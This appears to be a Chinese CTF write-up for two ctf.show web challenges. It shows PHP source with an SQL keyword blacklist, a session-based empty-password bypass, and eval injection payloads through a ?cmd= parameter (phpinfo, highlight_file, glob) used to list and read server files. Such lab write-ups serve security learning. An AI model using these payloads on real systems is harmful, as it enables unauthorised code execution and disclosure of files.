目录
ctf.show_web11
<?php
function replaceSpecialChar($strParam){
$regex = "/(select|from|where|join|sleep|and|\s|union|,)/i";
return preg_replace($regex,"",$strParam);
}
if(strlen($password)!=strlen(replaceSpecialChar($password))){
die("sql inject error");
}
if($password==$_SESSION['password']){
echo $flag;
}else{
echo "error";
}
?>
$password==$_SESSION['password']
,password是由我们自己输入的,session中的password存储在本地,所以我们只需要输入空密码,并且将本地的session删除即可成功绕过。
右击删除然后输入空,
或者方法二:
burp抓包
因为字段都为空,所以就会等于
ctf.show_web12
刚开始也是发懵,看了大佬的wp恍然大悟可谓是,先ctrl+u查看源码
发现有一个?cmd既然提示了cmd=,那么可能后端代码中存在 eval() 或者exec()等可以执行命令的代码。 然后?cmd=phpinfo;(一定要有分号:)查看 php配置
看到 disable_functions中把system过滤了,就要 用别的代替
在eval执行漏洞中我们可以查看网页的源代码。我们输入?cmd=highlight_file("index.php");
成功显示网站源码。
这里再介绍一个php的函数glob();
glob() 函数返回匹配指定模式的文件名或目录。
举个例子:
glob("*") 匹配任意文件
glob("*.txt")匹配以txt为后缀的文件
有了这个方法我们先把当前目录下所有的文件找出来看看有没有可用的。输入?cmd=print_r(glob("*"));打印出了如下文件
使用文件高亮命令,读出这个文件的PHP代码。
?cmd=highlight_file('903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php');